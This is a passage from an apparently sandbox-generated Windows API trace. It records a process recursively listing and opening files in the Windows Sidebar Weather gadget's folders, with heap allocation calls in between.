ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x20be, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.html", cAlternateFileName="")) returned 1 [0090.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.389] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.389] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3738 [0090.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x13428e0 [0090.390] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.390] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 1 [0090.390] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.391] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.391] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3758 [0090.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342d00 [0090.392] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.392] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3f3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.html", cAlternateFileName="")) returned 0 [0090.392] GetLastError () returned 0x12 [0090.392] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9040 [0090.392] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.392] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.392] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="css", cAlternateFileName="")) returned 1 [0090.392] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342e08 [0090.393] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.393] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\css"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x164 [0090.393] SetFileTime (hFile=0x164, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.393] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.393] DeviceIoControl (in: hDevice=0x164, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.394] NtClose (Handle=0x164) returned 0x0 [0090.394] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1342e08) returned 1 [0090.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.394] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342e08 [0090.395] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342f10 [0090.395] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9080 [0090.395] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.395] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0090.395] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.396] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.396] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343018 [0090.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3778 [0090.397] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343120 [0090.397] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.397] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2786, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.398] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.398] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3798 [0090.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343228 [0090.399] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.399] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 1 [0090.399] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.400] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f37b8 [0090.400] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343330 [0090.401] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.401] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 0 [0090.401] GetLastError () returned 0x12 [0090.401] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\css\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.401] FindClose (in: hFindFile=0x2e9080 | out: hFindFile=0x2e9080) returned 1 [0090.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x3ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedSettings.css", cAlternateFileName="")) returned 1 [0090.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2786, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.css", cAlternateFileName="")) returned 1 [0090.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 1 [0090.401] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x603c, dwReserved0=0x0, dwReserved1=0x0, cFileName="weather.css", cAlternateFileName="")) returned 0 [0090.401] GetLastError () returned 0x12 [0090.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1342f10) returned 1 [0090.402] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0090.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1343018) returned 1 [0090.402] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1342e08) returned 1 [0090.402] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x7c6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0090.402] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="js", cAlternateFileName="")) returned 1 [0090.402] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342e08 [0090.402] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), fInfoLevelId=0x0, lpFileInformation=0x119eb98 | out: lpFileInformation=0x119eb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0090.403] CreateFileW (lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\weather.gadget\\en-us\\js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x15c [0090.403] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x119ebdc, lpLastWriteTime=0x119ebdc) returned 0 [0090.403] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12527c8 [0090.403] DeviceIoControl (in: hDevice=0x15c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12527c8, nOutBufferSize=0x4000, lpBytesReturned=0x119ec34, lpOverlapped=0x0 | out: lpOutBuffer=0x12527c8, lpBytesReturned=0x119ec34, lpOverlapped=0x0) returned 0 [0090.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12527c8) returned 1 [0090.404] NtClose (Handle=0x15c) returned 0x0 [0090.404] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1342e08) returned 1 [0090.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efb40 [0090.404] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342e08 [0090.405] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343018 [0090.405] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\Weather.Gadget\\en-US\\js\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e8f40 [0090.405] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea6723d, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22b43298, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea6723d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0090.405] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x71c, dwReserved0=0x0, dwReserved1=0x0, cFileName="highDpiImageSwap.js", cAlternateFileName="")) returned 1 [0090.405] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.406] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.406] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1342f10 [0090.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efb40) returned 1 [0090.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f37d8 [0090.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343438 [0090.407] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.407] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xab00, dwReserved0=0x0, dwReserved1=0x0, cFileName="library.js", cAlternateFileName="")) returned 1 [0090.407] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.408] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.408] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f37f8 [0090.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343540 [0090.409] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.409] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x388c, dwReserved0=0x0, dwReserved1=0x0, cFileName="localizedStrings.js", cAlternateFileName="")) returned 1 [0090.409] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.410] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3818 [0090.410] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343648 [0090.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.411] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x118ea0e8, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x11c7e240, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x118ea0e8, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xe268, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.js", cAlternateFileName="")) returned 1 [0090.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.411] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.411] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12efbc8 [0090.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f3838 [0090.412] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1343750 [0090.412] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12efbc8) returned 1 [0090.413] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, 